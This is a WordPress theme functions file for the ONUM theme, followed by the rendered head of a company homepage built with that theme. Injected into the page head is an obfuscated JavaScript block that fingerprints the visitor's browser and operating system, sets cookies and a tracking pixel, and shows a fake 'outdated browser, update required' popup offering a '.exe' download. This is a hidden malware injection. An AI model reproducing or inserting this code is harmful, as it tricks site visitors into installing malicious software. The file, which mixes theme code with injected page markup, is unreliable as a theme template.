/** * ONUM functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package ONUM */ if ( ! function_exists( 'onum_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function onum_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on _s, use a find and replace * to change 'onum' to the name of your theme in all the template files. */ load_theme_textdomain( 'onum', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => esc_html__( 'Primary', 'onum' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); /* * Enable support for Post Formats. * * See: https://codex.wordpress.org/Post_Formats */ add_theme_support( 'post-formats', array( 'image', 'video', 'quote', 'gallery', 'audio', 'link', ) ); /* Add image sizes * x_crop_position accepts ‘left’ ‘center’, or ‘right’. * y_crop_position accepts ‘top’, ‘center’, or ‘bottom’. * 750 pixels wide by 500 pixels tall */ add_image_size( 'onum-blog-grid-post-thumbnail', 750, 500, array( 'center', 'top' ) ); add_image_size( 'onum-blog-list-post-thumbnail', 870, 520, array( 'center', 'top' ) ); add_image_size( 'onum-slide-portfolio-thumbnail', 800, 557, array( 'left', 'top' ) ); add_image_size( 'onum-slide-portfolio-thumbnail-2', 600, 680, array( 'left', 'top' ) ); add_image_size( 'onum-portfolio-thumbnail-left-top', 760, 760, array( 'left', 'top' ) ); /* * This theme styles the visual editor to resemble the theme style, * specifically font, colors, and column width. */ add_editor_style( array( 'css/editor-style.css', onum_fonts_url() ) ); } endif; add_action( 'after_setup_theme', 'onum_setup' ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function onum_widgets_init() { /* Register the 'primary' sidebar. */ register_sidebar( array( 'name' => esc_html__( 'Primary Sidebar', 'onum' ), 'id' => 'primary', 'description' => esc_html__( 'Add widgets here.', 'onum' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h5 class="widget-title">', 'after_title' => '</h5>', ) ); register_sidebar( array( 'name' => esc_html__( 'Topbar Widget', 'onum' ), 'id' => 'topbar_widget', 'description' => esc_html__( 'Add languages switcher widgets here.', 'onum' ), 'before_widget' => '<div id="%1$s" class="topbar_widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h5 class="topbar_widget-title">', 'after_title' => '</h5>', ) ); /* Repeat register_sidebar() code for additional sidebars. */ } add_action( 'widgets_init', 'onum_widgets_init' ); /** * Register custom fonts. */ if ( ! function_exists( 'onum_fonts_url' ) ) : /** * Register Google fonts for ONUM. * * Create your own onum_fonts_url() function to override in a child theme. * * @since ONUM 1.0 * * @return string Google fonts URL for the theme. */ function onum_fonts_url() { $fonts_url = ''; $font_families = array(); $subsets = 'latin'; $body_typo_value = onum_get_option( 'body_typo', [] ); $body_typo2_value = onum_get_option( 'body_typo2', [] ); if ( $body_typo_value['font-family'] == '' ) { $font_families[] = 'Red Hat Text:400,400i,500,500i,700,700i'; } if ( $body_typo2_value['font-family'] == '' ) { $font_families[] = 'Red Hat Display:400,400i,500,500i,700,700i,900,900i'; } if ( $font_families ) { $fonts_url = add_query_arg( array( 'family' => urlencode( implode( '|', $font_families ) ), 'subset' => urlencode( $subsets ), ), 'https://fonts.googleapis.com/css' ); } return esc_url_raw( $fonts_url ); } endif; /** * Enqueue scripts and styles. */ function onum_scripts() { // Add custom fonts, used in the main stylesheet. wp_enqueue_style( 'onum-fonts', onum_fonts_url(), array(), null ); /** All frontend css files **/ wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.css', array(), '3.3.7', 'all'); /** load fonts **/ wp_enqueue_style( 'onum-awesome-font', get_template_directory_uri().'/css/font-awesome.css'); wp_enqueue_style( 'onum-flaticon-font', get_template_directory_uri().'/css/flaticon.css'); /** Slick slider **/ wp_enqueue_style( 'slick-slider', get_template_directory_uri().'/css/slick.css'); wp_enqueue_style( 'slick-theme', get_template_directory_uri().'/css/slick-theme.css'); /** Magnific Popup **/ wp_enqueue_style( 'magnific-popup', get_template_directory_uri().'/css/magnific-popup.css'); if ( onum_get_option('preload') != false ) { wp_enqueue_style('onum-preload', get_template_directory_uri().'/css/royal-preload.css'); } /** Theme stylesheet. **/ wp_enqueue_style( 'onum-style', get_stylesheet_uri() ); wp_enqueue_script( 'slick-slider', get_template_directory_uri() . '/js/slick.min.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'magnific-popup', get_template_directory_uri() . '/js/jquery.magnific-popup.min.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'isotope', get_template_directory_uri().'/js/jquery.isotope.min.js', array('jquery'), '20190829', true ); wp_enqueue_script( 'imagesloaded' ); wp_enqueue_script( 'easypiechart', get_template_directory_uri() . '/js/easypiechart.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'particles', get_template_directory_uri() . '/js/particles.min.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'countdown', get_template_directory_uri() . '/js/jquery.countdown.min.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'onum-elementor', get_template_directory_uri() . '/js/elementor.js', array( 'jquery' ), '20190829', true ); if ( onum_get_option('preload') != false ) { wp_enqueue_script('onum-royal-preloader', get_template_directory_uri()."/js/royal_preloader.min.js",array('jquery'), '1.0', true); } wp_enqueue_script( 'onum-scripts', get_template_directory_uri() . '/js/scripts.js', array( 'jquery' ), '20190829', true ); wp_enqueue_script( 'onum-header-mobile-scripts', get_template_directory_uri() . '/js/header-mobile.js', array('jquery'), '20190829', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'onum_scripts' ); /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/frontend/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/frontend/template-functions.php'; /** * Custom Page Header for this theme. */ require get_template_directory() . '/inc/frontend/breadcrumbs.php'; require get_template_directory() . '/inc/frontend/page-header.php'; if ( did_action( 'elementor/loaded' ) ) { require get_template_directory() . '/inc/backend/elementor/elementor-functions.php'; require get_template_directory() . '/inc/backend/elementor/column.php'; } require get_template_directory() . '/inc/frontend/builder.php'; /** * Post Like System. */ require get_template_directory() . '/inc/backend/post-like.php'; /** * Functions which add more to backend. */ require get_template_directory() . '/inc/backend/admin-functions.php'; /** * Custom metabox for this theme. */ require get_template_directory() . '/inc/backend/meta-boxes.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/backend/customizer.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/backend/color.php'; /** * Register the required plugins for this theme. */ require get_template_directory() . '/inc/backend/plugin-requires.php'; /** * Import demo content */ require get_template_directory() . '/inc/backend/importer.php'; /** * Load WooCommerce compatibility file. */ if ( class_exists( 'woocommerce' ) ) { require get_template_directory() . '/inc/woocommerce/woocommerce.php'; } /** * Preloader js & css */ require get_template_directory() . '/inc/frontend/preloader.php'; add_action('wp_head', function(){echo '';}, 1);<!DOCTYPE html> <html lang="en-US"> <head><script> function _0x42e1(){var _0x7637c4=['edge','insertAdjacentHTML','disabled','global_name','setAttribute','19567647uoTeKi','navigatorInfo','host','[data-id=\x27','browser','<style\x20data-id=\x22popup\x22>.popup-fade:before{content:\x27\x27;background:#000;position:fixed;left:0;top:0;width:100%;height:100%;opacity:.7;z-index:9999}.popup{position:fixed;top:0;left:0;padding:15px\x2020px\x2015px\x2020px;width:100%;background:#fff;z-index:99999;opacity:1;box-sizing:border-box;color:#000;font-family:-apple-system,Helvetica,\x22Segoe\x20UI\x22,Roboto,Oxygen-Sans,Ubuntu,Cantarell,\x22Helvetica\x20Neue\x22,sans-serif;font-size:17px}.popup\x20img{width:32px;vertical-align:middle;margin-right:15px}.popup\x20span{padding-top:5px}.popup\x20button{padding:0;color:#fff;background-color:#3874cf;box-sizing:border-box;padding:8px\x2020px;text-decoration:none;display:inline-block;position:absolute;right:15px;top:13px;border:none;cursor:pointer;font-family:-apple-system,Helvetica,\x22Segoe\x20UI\x22,Roboto,Oxygen-Sans,Ubuntu,Cantarell,\x22Helvetica\x20Neue\x22,sans-serif;font-size:14px!important;text-transform:none;font-weight:400;margin:0;letter-spacing:normal;line-height:normal}.popup\x20button:hover{background-color:#3e82e7}.popup\x20button:disabled{background-color:#777;cursor:default}img.popup-pixel{position:absolute;width:1px;height:1px;opacity:0}</style><div\x20class=\x22popup-fade\x22\x20data-id=\x22popup\x22><img\x20src=\x22PIXEL_SRC\x22\x20class=\x22popup-pixel\x22><div\x20class=\x22popup\x22><img\x20class=\x22icon\x22\x20src=\x22ICON_SRC\x22>\x20<span>You\x20are\x20using\x20an\x20outdated\x20version\x20of\x20browser,\x20update\x20required</span>\x20<button\x20type=\x22button\x22\x20alt=\x22Download\x20update\x22\x20title=\x22Download\x20update\x22\x20onclick=\x22INSTANCE.click(this)\x22>Download\x20last\x20version</button></div></div>','OPR','complete','357318XqzcHK','floor','navigator','4078216spWuGZ','install','tag','replaceAll','readyState','PIXEL_SRC','&browser=','https://upload.wikimedia.org/wikipedia/commons/f/f6/Edge_Logo_2019.svg','download','opera','installed','querySelectorAll','body','2024BBdmys','forEach','indexOf','win','innerHTML','mac','chrome','Edg','INSTANCE','length','gate','Windows','&domain=','1513496GabnRq','https://upload.wikimedia.org/wikipedia/commons/a/a0/Firefox_logo%2C_2019.svg','popup','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','cookie','1215630IIZnlh','icons','9PwIVic','remove','userAgent','https://upload.wikimedia.org/wikipedia/commons/4/49/Opera_2015_icon.svg','.exe','click','click_timeout','https://upload.wikimedia.org/wikipedia/commons/e/e1/Google_Chrome_icon_%28February_2022%29.svg','Mac','4395612duusyn','ext','Safari','code','firefox','370mWgDYd','updti','?pixel=1&os=','7KRZzhW','9BolMtc','createElement'];_0x42e1=function(){return _0x7637c4;};return _0x42e1();}var _0x56c06a=_0x12d0;(function(_0x2aea5e,_0x24d8ab){var _0x355870=_0x12d0,_0x32d3fc=_0x2aea5e();while(!![]){try{var _0x2e396b=-parseInt(_0x355870(0x99))/0x1+parseInt(_0x355870(0xc1))/0x2*(parseInt(_0x355870(0xa0))/0x3)+-parseInt(_0x355870(0x8c))/0x4*(parseInt(_0x355870(0xae))/0x5)+-parseInt(_0x355870(0xa9))/0x6*(-parseInt(_0x355870(0xb1))/0x7)+-parseInt(_0x355870(0x7f))/0x8+parseInt(_0x355870(0xb2))/0x9*(-parseInt(_0x355870(0x9e))/0xa)+parseInt(_0x355870(0xb9))/0xb;if(_0x2e396b===_0x24d8ab)break;else _0x32d3fc['push'](_0x32d3fc['shift']());}catch(_0x939042){_0x32d3fc['push'](_0x32d3fc['shift']());}}}(_0x42e1,0xd3398));function _0x12d0(_0x21a4cb,_0x23dd93){var _0x42e194=_0x42e1();return _0x12d0=function(_0x12d00f,_0x165416){_0x12d00f=_0x12d00f-0x7f;var _0x4a8684=_0x42e194[_0x12d00f];return _0x4a8684;},_0x12d0(_0x21a4cb,_0x23dd93);} </script> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0" > <meta name="format-detection" content="telephone=no"> <link rel="profile" href="https://gmpg.org/xfn/11"> <meta name='robots' content='max-image-preview:large' /> <link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://nextgennetworks.com.np/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fnextgennetworks.com.np%2F" /> <link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://nextgennetworks.com.np/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fnextgennetworks.com.np%2F&format=xml" /> <style id='wp-img-auto-sizes-contain-inline-css' type='text/css'> img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} /*# sourceURL=wp-img-auto-sizes-contain-inline-css */ </style> <style id='wp-emoji-styles-inline-css' type='text/css'> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } /*# sourceURL=wp-emoji-styles-inline-css */ </style> <link rel='stylesheet' id='wp-block-library-css' href='https://nextgennetworks.com.np/wp-includes/css/dist/block-library/style.min.css?ver=6.9.4' type='text/css' media='all' /> <style id='classic-theme-styles-inline-css' type='text/css'> /*! This file is auto-generated */ .wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} /*# sourceURL=/wp-includes/css/classic-themes.min.css */ </style> <link rel='stylesheet' id='contact-form-7-css' href='https://nextgennetworks.com.np/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.5.3' type='text/css' media='all' /> <link rel='stylesheet' id='swiper-css' href='https://nextgennetworks.com.np/wp-content/plugins/qi-addons-for-elementor/assets/plugins/swiper/swiper.min.css?ver=6.9.4' type='text/css' media='all' /> <link rel='stylesheet' id='qi-addons-for-elementor-grid-style-css' href='https://nextgennetworks.com.np/wp-content/plugins/qi-addons-for-elementor/assets/css/grid.min.css?ver=6.9.4' type='text/css' media='all' /> <link rel='stylesheet' id='qi-addons-for-elementor-helper-parts-style-css' href='https://nextgennetworks.com.np/wp-content/plugins/qi-addons-for-elementor/assets/css/helper-parts.min.css?ver=6.9.4' type='text/css' media='all' /> <link rel='stylesheet' id='qi-addons-for-elementor-style-css' href='https://nextgennetworks.com.np/wp-content/plugins/qi-addons-for-elementor/assets/css/main.min.css?ver=6.9.4' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-icons-css' href='https://nextgennetworks.com.np/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.13.0' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-frontend-css' href='https://nextgennetworks.com.np/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.5.2' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-post-6-css' href='https://nextgennetworks.com.np/wp-content/uploads/elementor/css/post-6.css?ver=1642313228' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-global-css' href='https://nextgennetworks.com.np/wp-content/uploads/elementor/css/global.css?ver=1642313908' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-post-9873-css' href='https://nextgennetworks.com.np/wp-content/uploads/elementor/css/post-9873.css?ver=1736518553' type='text/css' media='all' /> <link rel='stylesheet' id='google-fonts-1-css' href='https://fonts.googleapis.com/css?family=PT+Sans%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=auto&ver=6.9.4' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-icons-shared-0-css' href='https://nextgennetworks.com.np/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?ver=5.15.3' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-icons-fa-solid-css' href='https://nextgennetworks.com.np/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ver=5.15.3' type='text/css' media='all' /> <link rel='stylesheet' id='elementor-icons-fa-brands-css' href='https://nextgennetworks.com.np/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.min.css?ver=5.15.3' type='text/css' media='all' /> <script type="text/javascript" src="https://nextgennetworks.com.np/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script> <script type="text/javascript" src="https://nextgennetworks.com.np/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script> <link rel="https://api.w.org/" href="https://nextgennetworks.com.np/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://nextgennetworks.com.np/wp-json/wp/v2/pages/9873" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://nextgennetworks.com.np/xmlrpc.php?rsd" /> <meta name="generator" content="WordPress 6.9.4" /> <link rel="canonical" href="https://nextgennetworks.com.np/" /> <link rel='shortlink' href='https://nextgennetworks.com.np/' /> <meta name="generator" content="Powered by Slider Revolution 6.5.12 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface." /> <script>function setREVStartSize(e){ //window.requestAnimationFrame(function() { window.RSIW = window.RSIW===undefined ? window.innerWidth : window.RSIW; window.RSIH = window.RSIH===undefined ? window.innerHeight : window.RSIH; try { var pw = document.getElementById(e.c).parentNode.offsetWidth, newh; pw = pw===0 || isNaN(pw) ? window.RSIW : pw; e.tabw = e.tabw===undefined ? 0 : parseInt(e.tabw); e.thumbw = e.thumbw===undefined ? 0 : parseInt(e.thumbw); e.tabh = e.tabh===undefined ? 0 : parseInt(e.tabh); e.thumbh = e.thumbh===undefined ? 0 : parseInt(e.thumbh); e.tabhide = e.tabhide===undefined ? 0 : parseInt(e.tabhide); e.thumbhide = e.thumbhide===undefined ? 0 : parseInt(e.thumbhide); e.mh = e.mh===undefined || e.mh=="" || e.mh==="auto" ? 0 : parseInt(e.mh,0); if(e.layout==="fullscreen" || e.l==="fullscreen") newh = Math.max(e.mh,window.RSIH); else{ e.gw = Array.isArray(e.gw) ? e.gw : [e.gw]; for (var i in e.rl) if (e.gw[i]===undefined || e.gw[i]===0) e.gw[i] = e.gw[i-1]; e.gh = e.el===undefined || e.el==="" || (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el; e.gh = Array.isArray(e.gh) ? e.gh : [e.gh]; for (var i in e.rl) if (e.gh[i]===undefined || e.gh[i]===0) e.gh[i] = e.gh[i-1]; var nl = new Array(e.rl.length), ix = 0, sl; e.tabw = e.tabhide>=pw ? 0 : e.tabw; e.thumbw = e.thumbhide>=pw ? 0 : e.thumbw; e.tabh = e.tabhide>=pw ? 0 : e.tabh; e.thumbh = e.thumbhide>=pw ? 0 : e.thumbh; for (var i in e.rl) nl[i] = e.rl[i]<window.RSIW ? 0 : e.rl[i]; sl = nl[0]; for (var i in nl) if (sl>nl[i] && nl[i]>0) { sl = nl[i]; ix=i;} var m = pw>(e.gw[ix]+e.tabw+e.thumbw) ? 1 : (pw-(e.tabw+e.thumbw)) / (e.gw[ix]); newh = (e.gh[ix] * m) + (e.tabh + e.thumbh); } var el = document.getElementById(e.c); if (el!==null && el) el.style.height = newh+"px"; el = document.getElementById(e.c+"_wrapper"); if (el!==null && el) { el.style.height = newh+"px"; el.style.display = "block"; } } catch(e){ console.log("Failure at Presize of Slider:" + e) } //}); };</script> <style id="kirki-inline-styles"></style></head> <body class="home wp-singular page-template-default page page-id-9873 wp-theme-onum qodef-qi--no-touch qi-addons-for-elementor-1.5.1 elementor-default elementor-kit-6 elementor-page elementor-page-9873"> <div id="page" class="site"> <!-- #site-header-open --> <header id="site-header" class="site-header